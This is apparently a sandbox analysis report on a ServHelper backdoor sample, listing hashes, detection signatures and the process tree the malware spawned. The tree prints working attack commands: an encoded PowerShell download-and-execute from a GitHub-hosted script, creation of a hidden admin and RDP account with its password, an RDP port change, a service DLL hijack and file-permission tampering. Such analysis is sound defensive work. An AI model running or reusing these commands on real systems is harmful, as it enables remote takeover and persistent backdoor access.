Analysis

  • max time kernel
    129s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    26-10-2021 19:42

General

  • Target

    63151e4f7c3972f18a23c0e9996e14ef.exe

  • Size

    5.7MB

  • MD5

    63151e4f7c3972f18a23c0e9996e14ef

  • SHA1

    5d041fde6433a8ff8fc78a69fca1fd4630e3f270

  • SHA256

    cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3

  • SHA512

    f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe
    "C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\8hqdyt_5.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1236
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5561.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5560.tmp"
          4⤵
            PID:932
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1352
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1936
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:832
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:852
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1164
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:280
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1704
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:928
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1540
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:920
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2040
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1344
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:912
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:884
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2004
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1196
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1056
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1908
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1852
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1476
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1684
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1320
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1928
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1136
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1540
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:968
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:832
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:852
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc EgHGTUmT /add
                                  1⤵
                                    PID:1916
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc EgHGTUmT /add
                                      2⤵
                                        PID:860
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc EgHGTUmT /add
                                          3⤵
                                            PID:1704
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1260
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1156
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:800
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                              1⤵
                                                PID:1396
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                  2⤵
                                                    PID:912
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD
                                                      3⤵
                                                        PID:1192
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:884
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:756
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1056
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc EgHGTUmT
                                                          1⤵
                                                            PID:1500
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc EgHGTUmT
                                                              2⤵
                                                                PID:1488
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc EgHGTUmT
                                                                  3⤵
                                                                    PID:996
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1952
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1728
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1692
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1260
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:112
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1396
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:752

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/320-55-0x0000000041510000-0x000000004190F000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/320-59-0x00000000281B6000-0x00000000281B7000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/320-57-0x00000000281B2000-0x00000000281B4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-58-0x00000000281B4000-0x00000000281B6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/320-60-0x00000000281B7000-0x00000000281B8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/752-153-0x000007FEEA9F0000-0x000007FEEB54D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/752-154-0x0000000000D90000-0x0000000000D92000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/752-155-0x0000000000D92000-0x0000000000D94000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/752-156-0x0000000000D94000-0x0000000000D97000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/752-157-0x0000000000D9B000-0x0000000000DBA000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1052-98-0x000000001B950000-0x000000001BC4F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1052-103-0x000000000286C000-0x000000000288B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1052-94-0x0000000002860000-0x0000000002862000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1052-96-0x0000000002864000-0x0000000002867000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1052-93-0x000007FEEA9F0000-0x000007FEEB54D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1052-97-0x0000000002867000-0x0000000002868000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1052-95-0x0000000002862000-0x0000000002864000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1236-78-0x0000000002150000-0x0000000002152000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1352-83-0x000007FEEA9F0000-0x000007FEEB54D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1352-84-0x000000001B8D0000-0x000000001BBCF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1352-88-0x00000000027C7000-0x00000000027C8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1352-91-0x00000000027CC000-0x00000000027EB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1352-87-0x00000000027C4000-0x00000000027C7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1352-86-0x00000000027C2000-0x00000000027C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1352-85-0x00000000027C0000-0x00000000027C2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1380-64-0x0000000002720000-0x0000000002722000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1380-79-0x000000000274D000-0x000000000274E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1380-68-0x000000000272B000-0x000000000274A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1380-63-0x000007FEEA9F0000-0x000007FEEB54D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1380-66-0x0000000002724000-0x0000000002727000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1380-65-0x0000000002722000-0x0000000002724000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1380-62-0x000007FEFB561000-0x000007FEFB563000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1936-109-0x0000000002404000-0x0000000002407000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1936-102-0x000007FEEA9F0000-0x000007FEEB54D000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1936-106-0x000000001B800000-0x000000001BAFF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1936-108-0x000000000240C000-0x000000000242B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1936-107-0x0000000002402000-0x0000000002404000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1936-105-0x0000000002407000-0x0000000002408000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1936-104-0x0000000002400000-0x0000000002402000-memory.dmp

                                                                        Filesize

                                                                        8KB